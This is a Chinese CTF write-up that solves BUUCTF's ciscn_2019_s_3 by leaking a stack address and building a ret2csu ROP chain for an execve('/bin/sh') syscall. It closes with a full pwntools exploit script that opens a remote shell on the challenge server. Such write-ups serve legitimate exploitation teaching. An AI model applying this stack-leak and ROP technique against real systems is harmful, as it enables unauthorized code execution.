ret2csu

例题:题目 BUUCTF ciscn_2019_s_3

https://buuoj.cn/challenges#ciscn_2019_s_3

这道题两种方法,ret2csu和SROP,这里先用ret2csu的方法,下一篇用SROP

checksec一下

image-20250528184422474

ida反编译一下

image-20250528184239409

image-20250528184325809

程序中没有明显的后门函数,开启了nx保护,不能shellcode,想用libc做但发现没有可泄露的函数got地址也没有puts或write的plt打印,只有一个gadgets函数打开不知道是做什么的,看看汇编

image-20250528184734577

发现了mov rax,0x3b的指令,想到了系统调用号,于是这道题想用ret2syscall来做,那么首先需要做的就是把binsh写入一个可知的地址当中,注意看主程序,读入buf后会把buf打印出来,然而buf只有0x10的空间,write却可以打印0x30,找到了突破点,write打印完buf后,会继续泄露栈地址。

**如何利用?**把/bin/sh\x00字符串写在buf里面,然后gdb调试找到泄露的栈地址到buf的距离,接收到地址后减去这个距离,就是binsh的地址!接下来gdb调试一下,在read函数下断点,run,然后ni一下输入AAAAAAAA字符串

image-20250528191058962

stack查看一下栈空间

image-20250528191315636

看别的师傅的wp说存着程序名的地址就是stack的地址,那我用这个地址减去存有AAAAA字符串的地址就是stack到buf的距离,即0x148

image-20250528191758940

然后找到存字符串的地址,用x/gx指令查看一下内存

image-20250528191910028

内存中的stack地址是到0x…c0才输出的,而buf中的字符串是从0x…a0开始输出的,所以我们在接收数据的时候先把前面0x20的字符用recvuntil截掉,然后接收数据再减去刚才算出来的0x148就是binsh的地址

有了binsh后,来看一看gadgets

image-20250528184916228

只找到了pop rdi;ret,但是想ret2syscall的话必须要实现exceve(binsh,0,0),如果不能控制rsi和rdx的话是做不到的,这时发现函数表中有一个__libc_csu——init,当gadgets不够的时候,可以想想ret2csu,点进去看汇编

image-20250528185625914

发现了两个地址,一个可以pop六个寄存器,另一个可以将r13和r14的值分别赋给rdx和rsi,而r13和r14恰好就在被pop的那六个寄存器中,于是思路清晰了,先pop六个寄存器为0,然后再赋值,就可以实现传参,但是有一个细节需要注意,上图中紫色圈起来的地方,call [r12+rbx*8],这里要让call后面跟一个合理的地址,因为rbx是0,所以就让r12的值为一个合理地址的值就可以了,这里让他指向binsh+0x50,下面这张图很清晰的给出了构造的ROP链的栈空间(虽然现在还没开始构造,但是构造完后就是这样),binsh+0x50就是mov rax 59的地址

image-20250528192631072

这道题还有一个坑点,那就是main函数通常都是rbp索引的,结尾为leave;ret;而这题少了leave,是rsp索引的,所以payload就不需要填充rbp了

image-20250528204607134

exp如下:

from pwn import *

r=remote("node5.buuoj.cn",28729)

\#r=process("./pwn")

context(os="linux",arch="amd64",log_level="debug")

context.terminal = ['tmux', 'splitw', '-h']

elf=ELF("./pwn")

main=elf.sym['vuln']

pop6=0x40059a

mov_rdx_r13=0x400580

pop_rdi=0x4005a3

execve=0x4004E2

syscall=0x400517

payload=b'/bin/sh\x00'+b'a'*8+p64(main)

r.sendline(payload)

r.recv(0x20)

binsh=u64(r.recv(8))-0x148

payload2=b'/bin/sh\x00'*2+p64(pop6)+p64(0)*2+p64(binsh+80)+p64(0)*3+p64(mov_rdx_r13)+p64(execve)+p64(pop_rdi)+p64(binsh)+p64(syscall)

r.sendline(payload2)

r.interactive()

但是这题有个很奇怪的地方,stack到buf的距离算出来的0x148在本地可以打通,但是远程打不通,远程要用0x118才可以打通,可能是题目有些问题。